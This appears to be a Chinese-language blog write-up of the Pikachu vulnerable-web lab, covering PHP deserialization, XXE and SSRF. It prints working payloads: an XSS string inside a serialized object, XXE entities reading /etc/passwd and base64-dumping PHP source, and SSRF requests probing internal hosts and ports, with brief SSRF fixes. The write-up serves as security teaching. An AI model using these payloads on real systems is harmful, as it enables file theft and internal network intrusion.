zoukankan      html  css  js  c++  java
  • pikachu------PHP反序列化、XXE、SSRF

    PHP反序列化



    在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

    序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

       常见的几个魔法函数:
            __construct()当一个对象创建时被调用

            __destruct()当一个对象销毁时被调用

            __toString()当一个对象被当作一个字符串使用

            __sleep() 在对象在被序列化之前运行

            __wakeup将在序列化之后立即被调用


          

     O 0

    输入O:1:“S”:1:{s:4:“test”;s:29:"<script>alert(‘xss’)</script>";}

           O:1:"s":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

     

    代码分析

    没有对用户传进来的参数做过滤,直接反序列化。

    XXE -"xml external entity injection"
    既"xml外部实体注入漏洞"。
    概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
    也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。


    现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
    以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

    XML概念:
    XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:

    XML 被设计用来传输和存储数据。
    HTML 被设计用来显示数据。
    XML结构:
    
    第一部分:XML声明部分
    <?xml version="1.0"?>
    
    第二部分:文档类型定义 DTD
    <!DOCTYPE note[ 
    <!--定义此文档是note类型的文档-->
    <!ENTITY entity-name SYSTEM "URI/URL">
    <!--外部实体声明-->
    ]>
    
    第三部分:文档元素
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    
    
    
    
    

     其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD。



    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,

    表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种,具体的示例可以看下面的

    xxe漏洞:

    file:///path/to/file.ext
    http://url
    php://filter/read=convert.base64-encode/resource=conf.php



    外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    1、

    payload&hacker;是用来将hacker这个实体进行调用,   hacker实体成功在前端回显。

    <?xml version = "1.0"?>
    <!DOCTYPE note [
        <!ENTITY hacker "ESHLkangi">
    ]>
    <name>&hacker;</name>

     

     2、

    外部实体 system关键字 指定外部实体 读取出来赋值给xee 

    外部实体  支持http、file、ftp协议

    如果一个实体支持接收XML数据、且没有对xml数据做安全上得措施、就可能导致xml漏洞

    外部实体payload

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
    ]>
    <x>&f;</x>

     

    返回结果

    3、如果下linux下  可以查看信息

    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE name [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <name>&xxe;</name>

    查看源码

    XXE漏洞  俩个点:  1、没有禁止解析xml外部实体内容 2、没有做任何过滤

    三!
    SSRF(Server-Side Request Forgery:服务器端请求伪造)

    SSRF-----url

    http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

    将url参数的值设为https://192.168.50.100/sqli-labs得到返回页面,可知已访问了sqli-labs的资源

     代码分析
    curl 模拟浏览器请求的,比如获取获取远程的网页,文件等,虽然可以使用file_get_contents函数 但是 curl支持cookie 自定义浏览器类型,来源 ip等等。

    http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.50.100:8080   可以测试8080端口是否是打开状态

    curl支持多种协议

    SSRF-(file_get_contents)

     

     http://192.168.50.100/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

    url换成192.168.50.100/sqli-labs

     这里file_get_contents函数还有一个文件包含漏洞,利用php伪协议读取文件的源码,url赋值php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php读取源码

    http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

    就可以把ssrf.php代码转换成base64得转码返回到前端       利用工具转码回去 即可查看源码

    代码分析
    file_get_contents也可以抓取远程网页内容,详情google。


    ssrf修复

    1.白名单
    2.对返回内容进行识别
    3.需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用
    CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致
    如果curl爬取过程中,设置CURLOPT_FOLLOWLOCATION为true,则会跟踪爬取重定向页面,否则,不会跟踪重定向页面

  • 相关阅读:
    SDRAM(3):刷新和仲裁
    SDRAM(2):初始化
    SDRAM(1):基本介绍
    计数器(3):避免多计少计
    协议——SPI
    matlab数字图像处理 入门基础
    gVim编辑器——基本设置、常用命令、代码片段
    Pomelo的Router
    Pomelo聊天室框架
    Pomelo术语解释
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12314081.html
Copyright © 2011-2022 走看看